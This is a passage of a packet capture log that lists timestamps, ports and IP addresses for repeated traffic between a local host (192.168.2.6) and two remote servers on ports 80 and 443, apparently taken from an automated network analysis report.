Nov 17, 2024 01:38:49.884685040 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884689093 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884708881 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884736061 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884757996 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884773970 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884788036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884794950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884798050 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884809971 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884810925 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884828091 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884852886 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.885029078 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.885040045 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.885051012 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.885061026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.885071993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.885075092 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.885082960 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.885094881 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.885103941 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.885119915 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.885139942 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.926425934 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.926476002 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.926486015 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.926487923 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.926497936 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.926522017 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.926537991 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.951561928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.951582909 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.951592922 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.951653004 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.951663017 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.951673985 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.951685905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.951692104 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.951730013 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.999162912 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999175072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999186993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999216080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.999250889 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.999427080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999485970 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.999486923 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999578953 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999620914 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.999635935 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999646902 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999675989 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.999675989 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.999679089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999730110 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.999793053 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999866962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999878883 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999890089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999907970 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.999927998 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.999933958 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999952078 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999962091 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999968052 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.999974012 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999985933 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.999989986 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000044107 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000044107 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000202894 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000286102 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000313997 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000324011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000335932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000346899 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000350952 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000359058 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000371933 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000377893 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000403881 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000428915 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000559092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000569105 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000580072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000602007 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000616074 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000643015 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000654936 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000667095 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000694036 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000724077 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000899076 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000910044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000921011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000936985 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.000943899 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000962973 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.000973940 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.001080036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.001120090 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.001135111 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.001147032 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.001158953 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.001187086 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.001209021 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.003679991 CET	443	56769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.003942013 CET	56769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.003952026 CET	443	56769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.005070925 CET	443	56769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.005361080 CET	56769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.005497932 CET	56769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.005537987 CET	443	56769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.007026911 CET	443	56770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.007226944 CET	56770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.007291079 CET	443	56770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.008455038 CET	443	56770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.008518934 CET	56770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.008930922 CET	56770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.009017944 CET	443	56770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.009196043 CET	56770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.009197950 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.009223938 CET	443	56770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.009392023 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.009402037 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.010075092 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.010261059 CET	56771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.010270119 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.010437012 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.010514021 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.010705948 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.010771036 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.010838032 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.011746883 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.011806011 CET	56771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.012187004 CET	56771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.012265921 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.012320995 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.012346029 CET	56771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.012352943 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.012480974 CET	56773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.012500048 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.014329910 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.014389992 CET	56773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.014801979 CET	56773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.014884949 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.015185118 CET	56773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.015191078 CET	443	56773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.041810989 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.041846991 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.041857958 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.041871071 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.041886091 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.041910887 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.047380924 CET	56769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.055340052 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.063108921 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.063108921 CET	56771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.063112020 CET	56773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.063113928 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.063116074 CET	56770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.066925049 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.066988945 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.066996098 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.066998959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.067051888 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.067064047 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.067075968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.067101002 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.067101002 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.067101002 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.067111969 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.067122936 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.067126036 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.067132950 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.067152023 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.067163944 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.067198992 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.109240055 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.114480019 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.114561081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.114562035 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.114572048 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.114603996 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.114617109 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.114907026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.114917994 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.114927053 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.114959955 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.114974022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.114984989 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.114990950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.114995003 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115009069 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115036964 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115164995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115181923 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115190983 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115216970 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115246058 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115247011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115257025 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115267038 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115297079 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115396023 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115413904 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115422964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115458965 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115528107 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115560055 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115575075 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115593910 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115607023 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115693092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115739107 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115753889 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115765095 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115776062 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115797997 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115828991 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115904093 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115951061 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.115961075 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115971088 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.115994930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116007090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116019964 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116019964 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116040945 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116101027 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116132975 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116143942 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116149902 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116164923 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116193056 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116285086 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116295099 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116307020 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116329908 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116343975 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116355896 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116363049 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116377115 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116389036 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116539001 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116566896 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116576910 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116581917 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116600990 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116607904 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.116616011 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.116643906 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.132078886 CET	443	56769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.132133007 CET	443	56769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.132289886 CET	443	56769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.132348061 CET	56769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.134507895 CET	56769	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.134521008 CET	443	56769	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.134902000 CET	56780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.134939909 CET	443	56780	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.135155916 CET	56780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.136231899 CET	443	56770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.136261940 CET	443	56770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.136264086 CET	56780	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.136277914 CET	443	56780	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.136327982 CET	56770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.136343956 CET	443	56770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.136580944 CET	56770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.139414072 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.139437914 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.139520884 CET	443	56772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.139615059 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.139615059 CET	56772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.139869928 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.139900923 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.139951944 CET	56771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.139962912 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.140064001 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.140139103 CET	56771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.157113075 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.157124043 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.157134056 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.157181025 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.157213926 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.160399914 CET	56770	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.160429955 CET	443	56770	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.182545900 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.182615995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.182626009 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.182677031 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.182687998 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.182699919 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.182709932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.182710886 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.182710886 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.182710886 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.182720900 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.182810068 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.182810068 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.184726954 CET	443	56774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.194822073 CET	56771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.194828033 CET	443	56771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.201766968 CET	443	56775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:50.227261066 CET	56774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:50.229887962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.229898930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.229909897 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.229948997 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.229957104 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.229963064 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230015993 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230015993 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230237007 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230252981 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230262995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230288029 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230317116 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230330944 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230341911 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230350018 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230374098 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230397940 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230526924 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230585098 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230591059 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230595112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230606079 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230624914 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230633020 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230642080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230659008 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230680943 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230758905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230768919 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230777979 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230802059 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230827093 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:50.230850935 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:50.230902910 CET	80	49911	185.215.113.206	192.168.2.6
